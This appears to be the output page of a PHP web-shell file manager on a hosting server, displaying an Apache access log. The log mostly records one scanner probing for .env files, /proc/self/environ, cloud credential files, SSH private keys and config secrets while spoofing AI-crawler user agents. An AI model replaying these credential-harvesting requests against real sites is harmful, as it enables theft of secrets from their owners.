HEX
Server: Apache
System: Linux p3plzcpnl507418.prod.phx3.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User: retoti4c1e1s (10075650)
PHP: 8.2.31
Disabled: NONE
$ pwd: /proc/thread-self/root/home/retoti4c1e1s/access-logs/
Upload Files
File: //proc/thread-self/root/home/retoti4c1e1s/access-logs/proficientm.com.saudistandard.com-ssl_log
35.231.153.83 - - [04/Aug/2026:08:09:48 -0700] "GET /.git/config HTTP/2.0" 403 10875 "-" "-" 4 **0/4960**
193.138.218.200 - - [04/Aug/2026:12:15:16 -0700] "GET / HTTP/1.1" 301 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 9316 **9/9316747**
205.169.39.23 - - [04/Aug/2026:13:02:01 -0700] "GET / HTTP/2.0" 200 7016 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 22 **0/22897**
205.169.39.23 - - [04/Aug/2026:13:02:03 -0700] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13158294&pdata=https%253A%252F%252Fmail.proficientm.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1785873721&cttl=0 HTTP/2.0" 302 252 "https://mail.proficientm.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 4 **0/4897**
205.169.39.23 - - [04/Aug/2026:13:02:03 -0700] "GET / HTTP/2.0" 301 - "https://mail.proficientm.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 7877 **7/7877376**
205.169.39.23 - - [04/Aug/2026:13:02:07 -0700] "GET / HTTP/2.0" 301 - "https://mail.proficientm.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 6104 **6/6104648**
205.169.39.27 - - [04/Aug/2026:13:05:13 -0700] "GET / HTTP/2.0" 200 7040 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 6 **0/6859**
205.169.39.27 - - [04/Aug/2026:13:05:14 -0700] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054549&pdata=https%253A%252F%252Fmail.proficientm.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1785873913&cttl=0 HTTP/2.0" 302 252 "https://mail.proficientm.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 12 **0/12687**
205.169.39.27 - - [04/Aug/2026:13:05:14 -0700] "GET / HTTP/2.0" 301 - "https://mail.proficientm.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 8652 **8/8652023**
205.169.39.27 - - [04/Aug/2026:13:05:18 -0700] "GET / HTTP/2.0" 301 - "https://mail.proficientm.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 7003 **7/7003840**
205.169.39.6 - - [04/Aug/2026:13:10:16 -0700] "GET / HTTP/2.0" 200 7026 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 7 **0/7954**
205.169.39.6 - - [04/Aug/2026:13:10:18 -0700] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001096&pdata=https%253A%252F%252Fmail.proficientm.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1785874216&cttl=0 HTTP/2.0" 302 252 "https://mail.proficientm.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 3 **0/3961**
205.169.39.6 - - [04/Aug/2026:13:10:18 -0700] "GET / HTTP/2.0" 301 - "https://mail.proficientm.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 5968 **5/5968215**
205.169.39.6 - - [04/Aug/2026:13:10:22 -0700] "GET / HTTP/2.0" 301 - "https://mail.proficientm.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 5638 **5/5638022**
74.7.227.137 - - [04/Aug/2026:15:13:14 -0700] "GET / HTTP/2.0" 301 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 5960 **5/5960431**
74.7.228.49 - - [04/Aug/2026:15:13:14 -0700] "GET /robots.txt HTTP/2.0" 200 69 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 6352 **6/6352745**
34.140.123.172 - - [04/Aug/2026:17:48:56 -0700] "GET / HTTP/2.0" 200 7037 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15" 23 **0/23706**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /docker/.env HTTP/2.0" 403 10876 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 11 **0/11046**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /.env HTTP/2.0" 403 10869 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 8 **0/8383**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /@fs/.env?import&raw?? HTTP/2.0" 403 10890 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 11 **0/11369**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /@fs/root/.env?raw?? HTTP/2.0" 403 10884 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 7 **0/7225**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /.env.local HTTP/2.0" 403 10875 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 8 **0/8199**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /@fs/.env HTTP/2.0" 403 10873 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 13 **0/13025**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET / HTTP/2.0" 200 7005 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0" 6 **0/6674**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /@fs/.env?raw?? HTTP/2.0" 403 10879 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 9 **0/9029**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /.env.bak HTTP/2.0" 403 10873 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 5 **0/5688**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /@fs/root/.env HTTP/2.0" 403 10878 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 9 **0/9813**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /.env.old HTTP/2.0" 403 10873 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 8 **0/8774**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /env.json HTTP/2.0" 200 7037 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 11 **0/11352**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /@fs/proc/self/environ?import&raw?? HTTP/2.0" 200 7064 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 19 **0/19386**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /.env.staging HTTP/2.0" 403 10877 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 18 **0/18136**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /.env.backup HTTP/2.0" 200 7040 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 18 **0/18886**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /@fs/proc/self/environ?raw?? HTTP/2.0" 200 7055 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 16 **0/16248**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /admin/.env HTTP/2.0" 403 10875 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 22 **0/22973**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /@fs/proc/self/environ HTTP/2.0" 200 7058 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 17 **0/17347**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /.env.production HTTP/2.0" 403 10880 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 24 **0/24515**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /@fs/../.env?raw?? HTTP/2.0" 403 10882 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 15 **0/15168**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /laravel/.env HTTP/2.0" 403 10877 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 21 **0/21921**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /.env.development HTTP/2.0" 200 7045 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 9 **0/9229**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /core/.env HTTP/2.0" 403 10874 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 23 **0/23042**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /env.js HTTP/2.0" 200 7035 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 25 **0/25144**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /@fs/app/.env HTTP/2.0" 403 10877 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 22 **0/22313**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /backend/.env HTTP/2.0" 403 10877 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 12 **0/12667**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /.env.swp HTTP/2.0" 200 7032 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 17 **0/17166**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /config/.env HTTP/2.0" 403 10876 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 17 **0/17518**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /app/.env HTTP/2.0" 403 10873 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 21 **0/21670**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /@fs/app/.env?raw?? HTTP/2.0" 403 10883 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 24 **0/24396**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /api/.env HTTP/2.0" 403 10873 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 24 **0/24704**
34.140.123.172 - - [04/Aug/2026:17:49:00 -0700] "GET /.env.example HTTP/2.0" 200 7026 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 29 **0/29302**
34.140.123.172 - - [04/Aug/2026:17:49:03 -0700] "GET /src/.env HTTP/2.0" 403 10873 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 14 **0/14815**
34.140.123.172 - - [04/Aug/2026:17:49:03 -0700] "GET /server/.env HTTP/2.0" 403 10876 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 31 **0/31465**
34.140.123.172 - - [04/Aug/2026:17:49:03 -0700] "GET /web/.env HTTP/2.0" 403 10873 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 13 **0/13762**
34.140.123.172 - - [04/Aug/2026:17:49:03 -0700] "GET /frontend/.env HTTP/2.0" 403 10878 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 8 **0/8315**
34.140.123.172 - - [04/Aug/2026:17:49:03 -0700] "GET /.git/HEAD HTTP/2.0" 403 10874 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 12 **0/12732**
34.140.123.172 - - [04/Aug/2026:17:49:03 -0700] "GET /.github/.env HTTP/2.0" 403 10877 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 16 **0/16357**
34.140.123.172 - - [04/Aug/2026:17:49:03 -0700] "GET /.git-credentials HTTP/2.0" 200 7039 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 16 **0/16757**
34.140.123.172 - - [04/Aug/2026:17:49:03 -0700] "GET /root/.aws/config HTTP/2.0" 200 7070 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 6 **0/6530**
34.140.123.172 - - [04/Aug/2026:17:49:03 -0700] "GET /aws.env HTTP/2.0" 200 6976 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 20 **0/20893**
34.140.123.172 - - [04/Aug/2026:17:49:03 -0700] "GET /.git/config HTTP/2.0" 403 10876 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 7 **0/7782**
34.140.123.172 - - [04/Aug/2026:17:49:03 -0700] "GET /aws.json HTTP/2.0" 200 7052 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 10 **0/10108**
34.140.123.172 - - [04/Aug/2026:17:49:03 -0700] "GET /root/.aws/credentials HTTP/2.0" 200 6968 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 10 **0/10607**
34.140.123.172 - - [04/Aug/2026:17:49:03 -0700] "GET /aws_credentials HTTP/2.0" 200 7065 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 12 **0/12020**
34.140.123.172 - - [04/Aug/2026:17:49:03 -0700] "GET /.aws/credentials HTTP/2.0" 200 6987 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 14 **0/14309**
34.140.123.172 - - [04/Aug/2026:17:49:03 -0700] "GET /.aws/config HTTP/2.0" 200 7036 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 14 **0/14940**
34.140.123.172 - - [04/Aug/2026:17:49:04 -0700] "GET /public/.env HTTP/2.0" 403 10876 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 6 **0/6461**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /api/settings HTTP/2.0" 200 7057 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 4 **0/4445**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /secrets.json HTTP/2.0" 200 6967 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 2 **0/2887**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /.gcloud/credentials HTTP/2.0" 200 7050 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 4 **0/4328**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /.azure/credentials HTTP/2.0" 200 7029 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 3 **0/3199**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /firebase-adminsdk.json HTTP/2.0" 200 7112 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 7 **0/7501**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /.kube/config HTTP/2.0" 200 7028 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 11 **0/11320**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /google-credentials.json HTTP/2.0" 200 7066 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 5 **0/5540**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /api/v1/env HTTP/2.0" 200 7057 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 5 **0/5493**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /gcp-credentials.json HTTP/2.0" 200 7049 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 5 **0/5750**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /key.json HTTP/2.0" 200 7024 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 5 **0/5518**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /firebase-config.json HTTP/2.0" 200 6975 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 6 **0/6191**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /config.json HTTP/2.0" 200 7001 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 9 **0/9265**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /api/env HTTP/2.0" 200 7018 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 8 **0/8635**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /firebase-credentials.json HTTP/2.0" 200 7015 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 7 **0/7705**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /api/config HTTP/2.0" 200 7041 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 6 **0/6976**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /service-account.json HTTP/2.0" 200 7036 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 6 **0/6328**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /api/v1/settings HTTP/2.0" 200 7033 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 2 **0/2615**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /credentials.json HTTP/2.0" 200 7032 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 7 **0/7245**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /serviceAccountKey.json HTTP/2.0" 200 7150 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 7 **0/7686**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /gcp-key.json HTTP/2.0" 200 6967 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 4 **0/4045**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /api/v1/config HTTP/2.0" 200 7007 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 4 **0/4269**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /settings.json HTTP/2.0" 200 7042 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 5 **0/5117**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /.docker/config.json HTTP/2.0" 200 7149 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 5 **0/5839**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /.ssh/id_rsa HTTP/2.0" 200 7027 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 4 **0/4379**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /__/firebase/init.json HTTP/2.0" 200 7153 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 6 **0/6110**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /runtime-config.js HTTP/2.0" 200 7107 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 2 **0/2972**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /config.js HTTP/2.0" 200 6999 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 4 **0/4034**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /aws-credentials HTTP/2.0" 200 7105 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 5 **0/5788**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /sa.json HTTP/2.0" 200 7036 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 11 **0/11822**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /.gcloud/credentials.json HTTP/2.0" 200 7069 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 4 **0/4088**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /keys/service-account.json HTTP/2.0" 200 7036 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 12 **0/12200**
34.140.123.172 - - [04/Aug/2026:17:49:08 -0700] "GET /app-config.json HTTP/2.0" 200 7058 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 13 **0/13825**
34.140.123.172 - - [04/Aug/2026:17:49:13 -0700] "GET /.ssh/id_dsa HTTP/2.0" 200 7098 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 4 **0/4639**
34.140.123.172 - - [04/Aug/2026:17:49:13 -0700] "GET /server.key HTTP/2.0" 200 7003 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 9 **0/9973**
34.140.123.172 - - [04/Aug/2026:17:49:13 -0700] "GET /key.pem HTTP/2.0" 200 7137 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 13 **0/13381**
34.140.123.172 - - [04/Aug/2026:17:49:13 -0700] "GET /id_ed25519 HTTP/2.0" 200 7060 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 15 **0/15571**
34.140.123.172 - - [04/Aug/2026:17:49:13 -0700] "GET /id_ecdsa HTTP/2.0" 200 7001 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 7 **0/7099**
34.140.123.172 - - [04/Aug/2026:17:49:14 -0700] "GET /.ssh/config HTTP/2.0" 200 6993 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 4 **0/4316**
34.140.123.172 - - [04/Aug/2026:17:49:14 -0700] "GET /.ssh/id_ecdsa HTTP/2.0" 200 7079 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 9 **0/9546**
34.140.123.172 - - [04/Aug/2026:17:49:14 -0700] "GET /id_rsa HTTP/2.0" 200 7111 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 5 **0/5018**
34.140.123.172 - - [04/Aug/2026:17:49:14 -0700] "GET /privatekey.key HTTP/2.0" 200 6978 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 5 **0/5529**
34.140.123.172 - - [04/Aug/2026:17:49:14 -0700] "GET /id_dsa HTTP/2.0" 200 6970 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 4 **0/4685**
34.140.123.172 - - [04/Aug/2026:17:49:14 -0700] "GET /private-key HTTP/2.0" 200 7075 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 5 **0/5072**
34.140.123.172 - - [04/Aug/2026:17:49:14 -0700] "GET /.ssh/id_ed25519 HTTP/2.0" 200 6981 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 4 **0/4201**
34.140.123.172 - - [04/Aug/2026:17:49:14 -0700] "GET /config.php HTTP/2.0" 200 6974 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 11 **0/11234**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /config/secrets.yml HTTP/2.0" 200 7124 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 6 **0/6753**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /application.yml HTTP/2.0" 200 7030 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 2 **0/2914**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /config/database.yml HTTP/2.0" 200 7070 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 5 **0/5582**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /config.php.bak HTTP/2.0" 200 7023 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 7 **0/7032**
34.140.123.172 - - [04/Aug/2026:17:49:17 -0700] "GET /config/master.key HTTP/2.0" 200 7028 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 9 **0/9202**
